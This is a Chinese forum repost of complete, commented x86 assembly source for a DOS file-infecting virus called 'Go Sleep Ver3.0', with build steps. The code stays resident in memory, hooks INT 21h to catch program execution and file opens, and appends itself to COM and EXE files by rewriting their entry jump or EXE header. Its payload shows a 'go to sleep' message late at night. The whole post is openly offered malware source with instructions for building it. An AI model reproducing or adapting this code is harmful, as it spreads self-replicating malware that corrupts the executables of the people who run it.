发新话题
打印

[转载]感染COM与EXE文件的病毒的样例程序

[转载]感染COM与EXE文件的病毒的样例程序

信息来源:luojijie

;编写感染COM与EXE文件的病毒的样例程序
;此程序是d由v0病毒改装升级而来
;在DOS下才有一定的传染能力
;此程序部分应用了32位编程
;制作方法如下
;tasm32 dv1;
;tlink  dv1;
;Debug  dv1.exe
;-n dv1.com
;-w
;-q
;最后生成dv1.com病毒程序
OFF equ Offset
DosMcb    Struc  ;Dos内存控制链结构(部分)
  Flag    db ?  ;是'M'则不是最后一块;是 'Z'则是最后一块
  Owner   dw ?  ;是008: 则是系统所有;是0则为未使用内存块
  Sizes   dw ?  ;本块大小,按节计算(1节=10h字节)
DosMcb    Ends
ExeHeader  Struc  ;Exe文件头结构
  Flags   dw 'ZM';Exe文件标志
  ModSize  dw ?  ;Exe文件最后一页字节数
  Pages   dw ?  ;Exe文件页数(1页为512字节)
  Reloc   dw ?  ;Exe文件从定位项数
  MeSize  dw ?  ;本文头节数
  MinMem  dw ?  ;该程序所须最小内存(节)
  MaxMem  dw ?  ;该程序所须最大内存(节)
  StartSs  dw ?  ;程序Sp初值
  StartSp  dw ?  ;程序相对Ss初值
  CheckSum dw ?  ;文件头检查和
  StartIp  dw ?  ;程序Ip初值
  StartCs  dw ?  ;程序相对Cs初值
  RelocOff dw ?  ;从定位信息偏移
ExeHeader Ends
VirusSize=OFF @@End-OFF @@Start ;(病毒大小)
VirusMemSize=OFF @@MemEnd-OFF @@Start ;(病毒需要的内存大小)
.386
.model small
.code
   org 100h ;按COM格式编写
@@Start:    ;病毒引导块
   pusha   ;保存所有通用寄存器   
   mov  ax,4d4dh
   int  21h  ;是否已经驻留内存(自定义中断)
   cmp  ax,4d4dh
   jz  short @@ExecOldApp ;否,调用安装模块
   call @@Install
@@ExecOldApp:
   mov  ah,2ch
   int  21h  ;得到系统时间
   cmp  cx,22*100h+30 ;(Cmp 时间:22:30)
   jb  short @@TestFlag  ;不到22:30不调用显示消息
   call @@DisplayMsg  ;调用表现块
@@TestFlag:
   clc  ;预设为Clc指令,表示是Com文件(若在传染时被改成Stc则是Exe文件)
   jc  short @@IsExeApp
@@IsComApp:
   call @@GetOldComAppCode
   OldAppCode dw 20cdh ;20cdh恰是Int 20h指令,用以返回Dos
          dw 0000h ;这里为保存原COM文件头部4字节信息
@@GetOldComAppCode:
   pop  si  ;得到OldAppCode的地址
   mov  di,100h   
   cld
   lodsd  
   stosd  ;恢复原COM头部4字节
   popa  ;恢复所有通用寄器
   push word ptr 100h
   ret   ;去执行原COM程序
@@IsExeApp:   
   popa  ;恢复所有通用寄器
   cli   ;改变堆栈指针时要关闭中断
   mov  sp,es  ;得到Psp( Sp=PSP段址)
   add  sp,10h
   SpAddData   dw 0c481h;0bch是add sp,xxxx指令
   OldAppSs    dw 000h  ;原Exe文件Ss相对值
   mov  ss,sp  ;计算出原程序堆栈并恢复
   MoveDataToSp db 0bch  ;0bch是mov sp,xxxx指令  
   OldAppSp    dw 000h  ;原Exe文件Sp值
   sti       ;从新开启中断
   push ax
   mov  ax,es  ;得到Psp( Ax=PSP段址)
   add  ax,10h
   AxAddData   db 005h  ;05h是add ax,xxxx指令,计算原程序Cs值
   OldAppCs    dw 000h  ;原Exe文件Cs相对值
   movzx esp,sp  ;转化为32位[esp]式堆栈寻址
   xchg ax,[esp] ;恢复ax,而不能用"xchg ax,[sp]"16位不支持[sp]式堆栈寻址
   PushWordData db 068h  ;068h是push word ptr xxxx指令
   OldAppIp    dw 000h  ;原Exe文件Ip值
   retf      ;去执行原Exe程序   
@@Install:
   push ds
   push es    ;保存段寄存器
   mov  ax,ds
   dec  ax ;得到自己的MCB结构段址,它在程序的PSP前
@@ContFindLastMcb:
   mov  ds,ax
   cmp  ds:[Flag],'Z' ;是最后一块吗?
   jz  short @@FoundLastMcb
   add  ax,ds:[Sizes]
   inc  ax   ;计算下一个MCB 的段址=本块段址+本块大小+1
   jmp  short @@ContFindLastMcb
@@FoundLastMcb:
   sub  ds:[Sizes],(VirusMemSize/10h)+1 ;把最后一块大小减去病毒所须内存大小(节数)
   add  ax,ds:[Sizes]
   inc  ax  ;计算出病毒在高端RAM的地址(即在最后一块划出的空间段址)
   mov  es,ax   
   xor  di,di
   push cs
   pop  ds ;复位数据段
   call @@GetVirusBase
@@GetVirusBase:
   pop  si
   sub  si,OFF @@GetVirusBase-OFF @@Start ;得到病毒首址
   mov  cx,VirusSize
   cld
   rep  movsb  ;把病毒搬运到高端地址
   sub  ax,10h ;计算出高端病毒的段地址(为使病毒偏移对齐,所以减去10h)
   mov  ds,ax  
@@ContInstall:
   mov  ax,3521h
   int  21h   ;取Int 21h的中断向量,并保存
   mov  ds:OldInt21Seg,es
   mov  ds:OldInt21Off,bx
   lea  dx,@@NewInt21
   mov  ax,2521h
   int  21h   ;设新的Int 21h处理程序到@@NewInt21处
   pop  es
   pop  ds   
   ret
@@NewInt21:    ;新Int21 h服务程序(传染块)
   cmp  ax,4d4dh
   jnz  short @@NextHook
   iret      ;是自定义中断,直接返回
@@NextHook:
   cmp  ah,4bh
   jz  short @@MyBeCom
   cmp  ah,43h
   jz  short @@MyBeCom
   cmp  ah,3dh
   jz  short @@MyBeCom  ;截获4b,43,3d号Dos功能
@@JmpOldInt21:
   cli      ; 进入Int21h前,需要关中断!
   JmpFar    db 0eah   ;远跳转指令jmp xxxx:xxxx
   OldInt21Off dw ?
   OldInt21Seg dw ?
@@CallInt21:   ;  模拟Int 21h指令
   pushf
   push cs
   call @@JmpOldInt21
   ret
@@MyBeCom:    ;入口参数ds:dx=以零结尾的Com文件名字符串
   pusha
   push ds   
   mov  si,dx
   xor  al,al   
@@ContFindExtName:  ;找扩展名
   inc  si
   cmp  [si],al
   jnz  short @@ContFindExtName   
   mov  eax,[si-4]
   or  eax,20202020h  ;转化为小写字母
   cmp  eax,'moc.'  ;是.com文件吗?
   jz  short @@IsComFile
   cmp  eax,'exe.'  ;是.exe文件吗?
   jz  short @@IsExeFile  
@@ExitOpt:      
   pop  ds
   popa
   jmp  short @@JmpOldInt21   
@@IsComFile:  
   mov  ax,3d02h
   call @@CallInt21  ;3dh,打开COM文件
   jc  short @@OptComFalse ;失败
   mov  bx,ax
   push cs
   pop  ds        ;复位数据段
   mov  ds:byte ptr[@@TestFlag],0f8h ;设为Clc指令,表示传染的是Com文件
   lea  dx,OldAppCode
   mov  cx,4
   mov  ah,3fh
   int  21h       ;读文件首部4字节
   jc  short @@CloseComFile
   mov  si,dx
   cmp  word ptr[si],'ZM' ;是否是EXE文件(是否是Com文件不能仅由扩展名判断)
   jz  short @@CloseComFile   ;是就不感染
   cmp  byte ptr[si+3],'V';是否有已感染病毒标志
   jz  short @@CloseComFile   ;是则说明该程序已经被感染了
   mov  ax,4202h
   xor  cx,cx
   xor  dx,dx
   int  21h  ;将文件指针移到文件尾,返回dx:ax=文件长度
   or  dx,dx
   jnz  short @@CloseComFile ;文件太大不感染
   mov  dx,ax
   add  ax,VirusSize
   jc  short @@CloseComFile ;文件太大不感染
   cmp  ax,0fd00h
   ja  short @@CloseComFile ;文件太大不感染
   sub  dx,03  ;计算出Jmp Virus的偏移量
   mov  ds:JmpOffset,dx
   lea  dx,@@Start
   mov  cx,VirusSize
   mov  ah,40h
   int  21h  ;将病毒写到文件尾部
   mov  ax,4200h
   xor  cx,cx
   xor  dx,dx
   int  21h  ;把文件指针移到文件首
   mov  cx,04h
   lea  dx,@@JmpVirus
   mov  ah,40h
   int  21h  ;写Jmp Virus与病毒Flag  4字节到文件首部        
@@CloseComFile:
   mov  ah,3eh
   int  21h  ;关闭文件   
@@OptComFalse:   
   jmp  short @@ExitOpt
@@IsExeFile:
   mov  ax,3d02h
   call @@CallInt21  ;3dh,打开Exe文件
   jc  @@OptExeFalse ;失败
   mov  bx,ax
   push cs
   pop  ds        ;复位数据段
   mov  ds:byte ptr[@@TestFlag],0f9h ;设为Stc指令,表示传染的是Exe文件
   lea  dx,MyExeHeader
   mov  cx,size ExeHeader
   mov  ah,3fh
   int  21h       ;读文件首部4字节
   jc  @@CloseExeFile
   cmp  ax,cx
   jb  @@CloseExeFile
   mov  si,dx
   cmp  word ptr[si.Flags],'ZM' ;是否是EXE文件(是否是EXE文件不能仅由扩展名判断)
   jnz  @@CloseExeFile   ;不是就不感染
   cmp  [si.CheckSum],'VV'    ;是否有已感染病毒标志
   jz  @@CloseExeFile       ;是则说明该程序已经被感染了
   mov  ax,4202h
   xor  cx,cx
   xor  dx,dx
   int  21h  ;将文件指针移到文件尾,返回dx:ax=文件长度   
   cmp  dx,8h
   ja  short @@CloseExeFile  ;文件太大,可能是Windows应用程序
   shl  edx,16
   mov  dx,ax
   push edx    ;保存文件大小  
   shr  edx,4  
   sub  dx,[si.MeSize] ;计算病毒在该Exe程序中新的相对Cs
   and  ax,0fh  ;计算病毒在该Exe程序中新的Ip值(0=<Ip<10h)
   mov  cx,dx  ;cx=dx=新的相对Cs值
   xchg [si.StartCs],dx
   mov  ds:[OldAppCs],dx  ;修改相对Cs值,保存原相对Cs值
   xchg [si.StartSs],cx
   mov  ds:[OldAppSs],cx  ;修改相对Ss值,保存原相对Ss值
   xchg [si.StartIp],ax
   mov  ds:[OldAppIp],ax  ;修改Ip值,保存原Ip值
   xor  ax,ax
   xchg [si.StartSp],ax  ;修改Sp值,保存原Sp值
   mov  ds:[OldAppSp],ax
   mov  [si.CheckSum],&#39;VV&#39;;设置传染标志
   pop  edx    ;弹出文件大小
   mov  ecx,VirusSize      
   add  edx,ecx  ;计算感染后文件的大小
   mov  ax,dx  
   and  ax,1ffh  ;计算感染后文件的ModSize
   mov  [si.ModSize],ax
   add  edx,1ffh
   shr  edx,9   ;计算感染后文件的Pages
   mov  [si.Pages],dx
   lea  dx,@@Start   
   mov  ah,40h
   int  21h  ;将病毒写到文件尾部
   mov  ax,4200h
   xor  cx,cx
   xor  dx,dx
   int  21h  ;把文件指针移到文件首
   mov  cx,size ExeHeader
   lea  dx,MyExeHeader
   mov  ah,40h
   int  21h  ;写文件头到文件首部               
@@CloseExeFile:
   mov  ah,3eh
   int  21h  ;关闭文件   
@@OptExeFalse:   
   jmp  @@ExitOpt
@@JmpVirus:   
   JumpNear  db 0e9h ;近转移指令Jmp near xxxx
   JmpOffset dw ?
   VirusFlag db &#39;V&#39;   ;病毒标志为&#39;V&#39;字符
@@DisplayMsg:
   pop  dx   
   push dx
   add  dx,OFF @@Message-OFF @@TestFlag ;计算@@Message的偏移量
   push ds
   push cs
   pop  ds
   mov  ah,09h
   int  21h   ;显示信息,“夜已深,你该睡觉了!”
   pop  ds
   ret
@@Message:
   db  0ah,0dh,07h
   db  &#39;Night is deep,you must go sleep!&#39;
   db  0ah,0dh,&#39;$&#39;
   db  &#39;Go Sleep Ver3.0 by Whg 2001.5.2&#39;
@@End:        
   MyExeHeader db  size ExeHeader dup(?)
@@MemEnd:
end @@Start

TOP

发新话题